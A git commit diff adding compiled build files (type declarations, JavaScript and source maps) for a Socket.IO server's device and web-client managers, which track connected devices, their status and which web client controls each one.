111
This commit is contained in:
2
dist/index.d.ts
vendored
Normal file
2
dist/index.d.ts
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
export {};
|
||||
//# sourceMappingURL=index.d.ts.map
|
||||
1
dist/index.d.ts.map
vendored
Normal file
1
dist/index.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":""}
|
||||
1963
dist/index.js
vendored
Normal file
1963
dist/index.js
vendored
Normal file
File diff suppressed because it is too large
Load Diff
1
dist/index.js.map
vendored
Normal file
1
dist/index.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
119
dist/managers/DeviceManager.d.ts
vendored
Normal file
119
dist/managers/DeviceManager.d.ts
vendored
Normal file
@@ -0,0 +1,119 @@
|
||||
/**
|
||||
* 设备信息接口
|
||||
*/
|
||||
export interface DeviceInfo {
|
||||
id: string;
|
||||
socketId: string;
|
||||
name: string;
|
||||
model: string;
|
||||
osVersion: string;
|
||||
appVersion: string;
|
||||
appPackage?: string;
|
||||
appName?: string;
|
||||
screenWidth: number;
|
||||
screenHeight: number;
|
||||
capabilities: string[];
|
||||
connectedAt: Date;
|
||||
lastSeen: Date;
|
||||
status: 'online' | 'offline' | 'busy';
|
||||
inputBlocked?: boolean;
|
||||
isLocked?: boolean;
|
||||
remark?: string;
|
||||
publicIP?: string;
|
||||
systemVersionName?: string;
|
||||
romType?: string;
|
||||
romVersion?: string;
|
||||
osBuildVersion?: string;
|
||||
}
|
||||
/**
|
||||
* 设备状态接口
|
||||
*/
|
||||
export interface DeviceStatus {
|
||||
cpu: number;
|
||||
memory: number;
|
||||
battery: number;
|
||||
networkSpeed: number;
|
||||
orientation: 'portrait' | 'landscape';
|
||||
screenOn: boolean;
|
||||
}
|
||||
/**
|
||||
* 设备管理器
|
||||
*/
|
||||
declare class DeviceManager {
|
||||
private devices;
|
||||
private deviceStatuses;
|
||||
private socketToDevice;
|
||||
private logger;
|
||||
constructor();
|
||||
/**
|
||||
* ✅ 清理所有设备记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllDevices(): void;
|
||||
/**
|
||||
* 添加设备
|
||||
*/
|
||||
addDevice(deviceInfo: DeviceInfo): void;
|
||||
/**
|
||||
* 移除设备
|
||||
*/
|
||||
removeDevice(deviceId: string): boolean;
|
||||
/**
|
||||
* 通过Socket ID移除设备
|
||||
*/
|
||||
removeDeviceBySocketId(socketId: string): boolean;
|
||||
/**
|
||||
* 获取设备信息
|
||||
*/
|
||||
getDevice(deviceId: string): DeviceInfo | undefined;
|
||||
/**
|
||||
* 通过Socket ID获取设备
|
||||
*/
|
||||
getDeviceBySocketId(socketId: string): DeviceInfo | undefined;
|
||||
/**
|
||||
* 获取所有设备
|
||||
*/
|
||||
getAllDevices(): DeviceInfo[];
|
||||
/**
|
||||
* 获取在线设备
|
||||
*/
|
||||
getOnlineDevices(): DeviceInfo[];
|
||||
/**
|
||||
* 获取设备数量
|
||||
*/
|
||||
getDeviceCount(): number;
|
||||
/**
|
||||
* 更新设备状态
|
||||
*/
|
||||
updateDeviceStatus(socketId: string, status: DeviceStatus): void;
|
||||
/**
|
||||
* 获取设备状态
|
||||
*/
|
||||
getDeviceStatus(deviceId: string): DeviceStatus | undefined;
|
||||
/**
|
||||
* 更新设备连接状态
|
||||
*/
|
||||
updateDeviceConnectionStatus(deviceId: string, status: DeviceInfo['status']): void;
|
||||
/**
|
||||
* 检查设备是否在线
|
||||
*/
|
||||
isDeviceOnline(deviceId: string): boolean;
|
||||
/**
|
||||
* 获取设备的Socket ID
|
||||
*/
|
||||
getDeviceSocketId(deviceId: string): string | undefined;
|
||||
/**
|
||||
* 清理离线设备 (超过指定时间未活跃)
|
||||
*/
|
||||
cleanupOfflineDevices(timeoutMs?: number): void;
|
||||
/**
|
||||
* 获取设备统计信息
|
||||
*/
|
||||
getDeviceStats(): {
|
||||
total: number;
|
||||
online: number;
|
||||
offline: number;
|
||||
busy: number;
|
||||
};
|
||||
}
|
||||
export default DeviceManager;
|
||||
//# sourceMappingURL=DeviceManager.d.ts.map
|
||||
1
dist/managers/DeviceManager.d.ts.map
vendored
Normal file
1
dist/managers/DeviceManager.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"DeviceManager.d.ts","sourceRoot":"","sources":["../../src/managers/DeviceManager.ts"],"names":[],"mappings":"AAEA;;GAEG;AACH,MAAM,WAAW,UAAU;IACzB,EAAE,EAAE,MAAM,CAAA;IACV,QAAQ,EAAE,MAAM,CAAA;IAChB,IAAI,EAAE,MAAM,CAAA;IACZ,KAAK,EAAE,MAAM,CAAA;IACb,SAAS,EAAE,MAAM,CAAA;IACjB,UAAU,EAAE,MAAM,CAAA;IAClB,UAAU,CAAC,EAAE,MAAM,CAAA;IACnB,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,WAAW,EAAE,MAAM,CAAA;IACnB,YAAY,EAAE,MAAM,CAAA;IACpB,YAAY,EAAE,MAAM,EAAE,CAAA;IACtB,WAAW,EAAE,IAAI,CAAA;IACjB,QAAQ,EAAE,IAAI,CAAA;IACd,MAAM,EAAE,QAAQ,GAAG,SAAS,GAAG,MAAM,CAAA;IACrC,YAAY,CAAC,EAAE,OAAO,CAAA;IACtB,QAAQ,CAAC,EAAE,OAAO,CAAA;IAClB,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,QAAQ,CAAC,EAAE,MAAM,CAAA;IAEjB,iBAAiB,CAAC,EAAE,MAAM,CAAA;IAC1B,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,UAAU,CAAC,EAAE,MAAM,CAAA;IACnB,cAAc,CAAC,EAAE,MAAM,CAAA;CACxB;AAED;;GAEG;AACH,MAAM,WAAW,YAAY;IAC3B,GAAG,EAAE,MAAM,CAAA;IACX,MAAM,EAAE,MAAM,CAAA;IACd,OAAO,EAAE,MAAM,CAAA;IACf,YAAY,EAAE,MAAM,CAAA;IACpB,WAAW,EAAE,UAAU,GAAG,WAAW,CAAA;IACrC,QAAQ,EAAE,OAAO,CAAA;CAClB;AAED;;GAEG;AACH,cAAM,aAAa;IACjB,OAAO,CAAC,OAAO,CAAqC;IACpD,OAAO,CAAC,cAAc,CAAuC;IAC7D,OAAO,CAAC,cAAc,CAAiC;IACvD,OAAO,CAAC,MAAM,CAAQ;;IAMtB;;OAEG;IACH,eAAe,IAAI,IAAI;IAQvB;;OAEG;IACH,SAAS,CAAC,UAAU,EAAE,UAAU,GAAG,IAAI;IAMvC;;OAEG;IACH,YAAY,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO;IAYvC;;OAEG;IACH,sBAAsB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO;IAQjD;;OAEG;IACH,SAAS,CAAC,QAAQ,EAAE,MAAM,GAAG,UAAU,GAAG,SAAS;IAInD;;OAEG;IACH,mBAAmB,CAAC,QAAQ,EAAE,MAAM,GAAG,UAAU,GAAG,SAAS;IAK7D;;OAEG;IACH,aAAa,IAAI,UAAU,EAAE;IAI7B;;OAEG;IACH,gBAAgB,IAAI,UAAU,EAAE;IAIhC;;OAEG;IACH,cAAc,IAAI,MAAM;IAIxB;;OAEG;IACH,kBAAkB,CAAC,QAAQ,EAAE,MAAM,EAAE,MAAM,EAAE,YAAY,GAAG,IAAI;IAYhE;;OAEG;IACH,eAAe,CAAC,QAAQ,EAAE,MAAM,GAAG,YAAY,GAAG,SAAS;IAI3D;;OAEG;IACH,4BAA4B,CAAC,QAAQ,EAAE,MAAM,EAAE,MAAM,EAAE,UAAU,CAAC,QAAQ,CAAC,GAAG,IAAI;IASlF;;OAEG;IACH,cAAc,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO;IAKzC;;OAEG;IACH,iBAAiB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,GAAG,SAAS;IAKvD;;OAEG;IACH,qBAAqB,CAAC,SAAS,GAAE,MAAe,GAAG,IAAI;IAmBvD;;OAEG;IACH,cAAc,IAAI;QAChB,KAAK,EAAE,MAAM,CAAA;QACb,MAAM,EAAE,MAAM,CAAA;QACd,OAAO,EAAE,MAAM,CAAA;QACf,IAAI,EAAE,MAAM,CAAA;KACb;CASF;AAED,eAAe,aAAa,CAAA"}
|
||||
167
dist/managers/DeviceManager.js
vendored
Normal file
167
dist/managers/DeviceManager.js
vendored
Normal file
@@ -0,0 +1,167 @@
|
||||
"use strict";
|
||||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||||
};
|
||||
Object.defineProperty(exports, "__esModule", { value: true });
|
||||
const Logger_1 = __importDefault(require("../utils/Logger"));
|
||||
/**
|
||||
* 设备管理器
|
||||
*/
|
||||
class DeviceManager {
|
||||
constructor() {
|
||||
this.devices = new Map();
|
||||
this.deviceStatuses = new Map();
|
||||
this.socketToDevice = new Map();
|
||||
this.logger = new Logger_1.default('DeviceManager');
|
||||
}
|
||||
/**
|
||||
* ✅ 清理所有设备记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllDevices() {
|
||||
const deviceCount = this.devices.size;
|
||||
this.devices.clear();
|
||||
this.deviceStatuses.clear();
|
||||
this.socketToDevice.clear();
|
||||
this.logger.info(`🧹 已清理所有设备记录: ${deviceCount} 个设备`);
|
||||
}
|
||||
/**
|
||||
* 添加设备
|
||||
*/
|
||||
addDevice(deviceInfo) {
|
||||
this.devices.set(deviceInfo.id, deviceInfo);
|
||||
this.socketToDevice.set(deviceInfo.socketId, deviceInfo.id);
|
||||
this.logger.info(`设备已添加: ${deviceInfo.name} (${deviceInfo.id})`);
|
||||
}
|
||||
/**
|
||||
* 移除设备
|
||||
*/
|
||||
removeDevice(deviceId) {
|
||||
const device = this.devices.get(deviceId);
|
||||
if (device) {
|
||||
this.devices.delete(deviceId);
|
||||
this.deviceStatuses.delete(deviceId);
|
||||
this.socketToDevice.delete(device.socketId);
|
||||
this.logger.info(`设备已移除: ${device.name} (${deviceId})`);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
/**
|
||||
* 通过Socket ID移除设备
|
||||
*/
|
||||
removeDeviceBySocketId(socketId) {
|
||||
const deviceId = this.socketToDevice.get(socketId);
|
||||
if (deviceId) {
|
||||
return this.removeDevice(deviceId);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
/**
|
||||
* 获取设备信息
|
||||
*/
|
||||
getDevice(deviceId) {
|
||||
return this.devices.get(deviceId);
|
||||
}
|
||||
/**
|
||||
* 通过Socket ID获取设备
|
||||
*/
|
||||
getDeviceBySocketId(socketId) {
|
||||
const deviceId = this.socketToDevice.get(socketId);
|
||||
return deviceId ? this.devices.get(deviceId) : undefined;
|
||||
}
|
||||
/**
|
||||
* 获取所有设备
|
||||
*/
|
||||
getAllDevices() {
|
||||
return Array.from(this.devices.values());
|
||||
}
|
||||
/**
|
||||
* 获取在线设备
|
||||
*/
|
||||
getOnlineDevices() {
|
||||
return Array.from(this.devices.values()).filter(device => device.status === 'online');
|
||||
}
|
||||
/**
|
||||
* 获取设备数量
|
||||
*/
|
||||
getDeviceCount() {
|
||||
return this.devices.size;
|
||||
}
|
||||
/**
|
||||
* 更新设备状态
|
||||
*/
|
||||
updateDeviceStatus(socketId, status) {
|
||||
const deviceId = this.socketToDevice.get(socketId);
|
||||
if (deviceId) {
|
||||
const device = this.devices.get(deviceId);
|
||||
if (device) {
|
||||
device.lastSeen = new Date();
|
||||
this.deviceStatuses.set(deviceId, status);
|
||||
this.logger.debug(`设备状态已更新: ${deviceId}`, status);
|
||||
}
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取设备状态
|
||||
*/
|
||||
getDeviceStatus(deviceId) {
|
||||
return this.deviceStatuses.get(deviceId);
|
||||
}
|
||||
/**
|
||||
* 更新设备连接状态
|
||||
*/
|
||||
updateDeviceConnectionStatus(deviceId, status) {
|
||||
const device = this.devices.get(deviceId);
|
||||
if (device) {
|
||||
device.status = status;
|
||||
device.lastSeen = new Date();
|
||||
this.logger.info(`设备连接状态已更新: ${deviceId} -> ${status}`);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 检查设备是否在线
|
||||
*/
|
||||
isDeviceOnline(deviceId) {
|
||||
const device = this.devices.get(deviceId);
|
||||
return device ? device.status === 'online' : false;
|
||||
}
|
||||
/**
|
||||
* 获取设备的Socket ID
|
||||
*/
|
||||
getDeviceSocketId(deviceId) {
|
||||
const device = this.devices.get(deviceId);
|
||||
return device?.socketId;
|
||||
}
|
||||
/**
|
||||
* 清理离线设备 (超过指定时间未活跃)
|
||||
*/
|
||||
cleanupOfflineDevices(timeoutMs = 300000) {
|
||||
const now = Date.now();
|
||||
const devicesToRemove = [];
|
||||
for (const [deviceId, device] of this.devices.entries()) {
|
||||
if (now - device.lastSeen.getTime() > timeoutMs) {
|
||||
devicesToRemove.push(deviceId);
|
||||
}
|
||||
}
|
||||
devicesToRemove.forEach(deviceId => {
|
||||
this.removeDevice(deviceId);
|
||||
});
|
||||
if (devicesToRemove.length > 0) {
|
||||
this.logger.info(`已清理 ${devicesToRemove.length} 个离线设备`);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取设备统计信息
|
||||
*/
|
||||
getDeviceStats() {
|
||||
const devices = Array.from(this.devices.values());
|
||||
return {
|
||||
total: devices.length,
|
||||
online: devices.filter(d => d.status === 'online').length,
|
||||
offline: devices.filter(d => d.status === 'offline').length,
|
||||
busy: devices.filter(d => d.status === 'busy').length,
|
||||
};
|
||||
}
|
||||
}
|
||||
exports.default = DeviceManager;
|
||||
//# sourceMappingURL=DeviceManager.js.map
|
||||
1
dist/managers/DeviceManager.js.map
vendored
Normal file
1
dist/managers/DeviceManager.js.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"DeviceManager.js","sourceRoot":"","sources":["../../src/managers/DeviceManager.ts"],"names":[],"mappings":"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"}
|
||||
132
dist/managers/WebClientManager.d.ts
vendored
Normal file
132
dist/managers/WebClientManager.d.ts
vendored
Normal file
@@ -0,0 +1,132 @@
|
||||
import { Server as SocketIOServer, Socket } from 'socket.io';
|
||||
import { DatabaseService } from '../services/DatabaseService';
|
||||
/**
|
||||
* Web客户端信息接口
|
||||
*/
|
||||
export interface WebClientInfo {
|
||||
id: string;
|
||||
socketId: string;
|
||||
userAgent: string;
|
||||
ip: string;
|
||||
connectedAt: Date;
|
||||
lastSeen: Date;
|
||||
controllingDeviceId?: string;
|
||||
userId?: string;
|
||||
username?: string;
|
||||
}
|
||||
/**
|
||||
* Web客户端管理器
|
||||
*/
|
||||
declare class WebClientManager {
|
||||
private clients;
|
||||
private socketToClient;
|
||||
private deviceControllers;
|
||||
private logger;
|
||||
io?: SocketIOServer;
|
||||
private databaseService?;
|
||||
private requestTimestamps;
|
||||
private readonly REQUEST_COOLDOWN;
|
||||
constructor(databaseService?: DatabaseService);
|
||||
/**
|
||||
* ✅ 清理所有客户端记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllClients(): void;
|
||||
/**
|
||||
* 设置Socket.IO实例
|
||||
*/
|
||||
setSocketIO(io: SocketIOServer): void;
|
||||
/**
|
||||
* 添加Web客户端
|
||||
*/
|
||||
addClient(clientInfo: WebClientInfo): void;
|
||||
/**
|
||||
* 移除Web客户端
|
||||
*/
|
||||
removeClient(clientId: string): boolean;
|
||||
/**
|
||||
* 通过Socket ID移除客户端
|
||||
*/
|
||||
removeClientBySocketId(socketId: string): boolean;
|
||||
/**
|
||||
* 获取客户端信息
|
||||
*/
|
||||
getClient(clientId: string): WebClientInfo | undefined;
|
||||
/**
|
||||
* 通过Socket ID获取客户端
|
||||
*/
|
||||
getClientBySocketId(socketId: string): WebClientInfo | undefined;
|
||||
/**
|
||||
* 获取所有客户端
|
||||
*/
|
||||
getAllClients(): WebClientInfo[];
|
||||
/**
|
||||
* 获取客户端数量
|
||||
*/
|
||||
getClientCount(): number;
|
||||
/**
|
||||
* 获取客户端Socket
|
||||
*/
|
||||
getClientSocket(clientId: string): Socket | undefined;
|
||||
/**
|
||||
* 请求控制设备
|
||||
*/
|
||||
requestDeviceControl(clientId: string, deviceId: string): {
|
||||
success: boolean;
|
||||
message: string;
|
||||
currentController?: string;
|
||||
};
|
||||
/**
|
||||
* 释放设备控制权
|
||||
*/
|
||||
releaseDeviceControl(deviceId: string): boolean;
|
||||
/**
|
||||
* 获取设备控制者
|
||||
*/
|
||||
getDeviceController(deviceId: string): string | undefined;
|
||||
/**
|
||||
* 检查客户端是否有设备控制权
|
||||
*/
|
||||
hasDeviceControl(clientId: string, deviceId: string): boolean;
|
||||
/**
|
||||
* 向指定客户端发送消息
|
||||
*/
|
||||
sendToClient(clientId: string, event: string, data: any): boolean;
|
||||
/**
|
||||
* 向所有客户端广播消息
|
||||
*/
|
||||
broadcastToAll(event: string, data: any): void;
|
||||
/**
|
||||
* 向控制指定设备的客户端发送消息
|
||||
*/
|
||||
sendToDeviceController(deviceId: string, event: string, data: any): boolean;
|
||||
/**
|
||||
* 更新客户端活跃时间
|
||||
*/
|
||||
updateClientActivity(socketId: string): void;
|
||||
/**
|
||||
* 清理不活跃的客户端
|
||||
*/
|
||||
cleanupInactiveClients(timeoutMs?: number): void;
|
||||
/**
|
||||
* 获取客户端统计信息
|
||||
*/
|
||||
getClientStats(): {
|
||||
total: number;
|
||||
controlling: number;
|
||||
idle: number;
|
||||
};
|
||||
/**
|
||||
* 🔐 恢复用户的设备权限
|
||||
*/
|
||||
restoreUserPermissions(userId: string, clientId: string): void;
|
||||
/**
|
||||
* 🔐 设置客户端用户信息
|
||||
*/
|
||||
setClientUserInfo(clientId: string, userId: string, username: string): void;
|
||||
/**
|
||||
* 🛡️ 记录权限操作审计日志
|
||||
*/
|
||||
private logPermissionOperation;
|
||||
}
|
||||
export default WebClientManager;
|
||||
//# sourceMappingURL=WebClientManager.d.ts.map
|
||||
1
dist/managers/WebClientManager.d.ts.map
vendored
Normal file
1
dist/managers/WebClientManager.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"WebClientManager.d.ts","sourceRoot":"","sources":["../../src/managers/WebClientManager.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,cAAc,EAAE,MAAM,EAAE,MAAM,WAAW,CAAA;AAE5D,OAAO,EAAE,eAAe,EAAE,MAAM,6BAA6B,CAAA;AAE7D;;GAEG;AACH,MAAM,WAAW,aAAa;IAC5B,EAAE,EAAE,MAAM,CAAA;IACV,QAAQ,EAAE,MAAM,CAAA;IAChB,SAAS,EAAE,MAAM,CAAA;IACjB,EAAE,EAAE,MAAM,CAAA;IACV,WAAW,EAAE,IAAI,CAAA;IACjB,QAAQ,EAAE,IAAI,CAAA;IACd,mBAAmB,CAAC,EAAE,MAAM,CAAA;IAC5B,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,QAAQ,CAAC,EAAE,MAAM,CAAA;CAClB;AAED;;GAEG;AACH,cAAM,gBAAgB;IACpB,OAAO,CAAC,OAAO,CAAwC;IACvD,OAAO,CAAC,cAAc,CAAiC;IACvD,OAAO,CAAC,iBAAiB,CAAiC;IAC1D,OAAO,CAAC,MAAM,CAAQ;IACf,EAAE,CAAC,EAAE,cAAc,CAAA;IAC1B,OAAO,CAAC,eAAe,CAAC,CAAiB;IAGzC,OAAO,CAAC,iBAAiB,CAAiC;IAC1D,OAAO,CAAC,QAAQ,CAAC,gBAAgB,CAAO;gBAE5B,eAAe,CAAC,EAAE,eAAe;IAK7C;;OAEG;IACH,eAAe,IAAI,IAAI;IASvB;;OAEG;IACH,WAAW,CAAC,EAAE,EAAE,cAAc,GAAG,IAAI;IAIrC;;OAEG;IACH,SAAS,CAAC,UAAU,EAAE,aAAa,GAAG,IAAI;IAa1C;;OAEG;IACH,YAAY,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO;IAsBvC;;OAEG;IACH,sBAAsB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO;IAQjD;;OAEG;IACH,SAAS,CAAC,QAAQ,EAAE,MAAM,GAAG,aAAa,GAAG,SAAS;IAItD;;OAEG;IACH,mBAAmB,CAAC,QAAQ,EAAE,MAAM,GAAG,aAAa,GAAG,SAAS;IAKhE;;OAEG;IACH,aAAa,IAAI,aAAa,EAAE;IAIhC;;OAEG;IACH,cAAc,IAAI,MAAM;IAIxB;;OAEG;IACH,eAAe,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,GAAG,SAAS;IAQrD;;OAEG;IACH,oBAAoB,CAAC,QAAQ,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG;QACxD,OAAO,EAAE,OAAO,CAAA;QAChB,OAAO,EAAE,MAAM,CAAA;QACf,iBAAiB,CAAC,EAAE,MAAM,CAAA;KAC3B;IA4ED;;OAEG;IACH,oBAAoB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO;IAqB/C;;OAEG;IACH,mBAAmB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,GAAG,SAAS;IAIzD;;OAEG;IACH,gBAAgB,CAAC,QAAQ,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG,OAAO;IAqC7D;;OAEG;IACH,YAAY,CAAC,QAAQ,EAA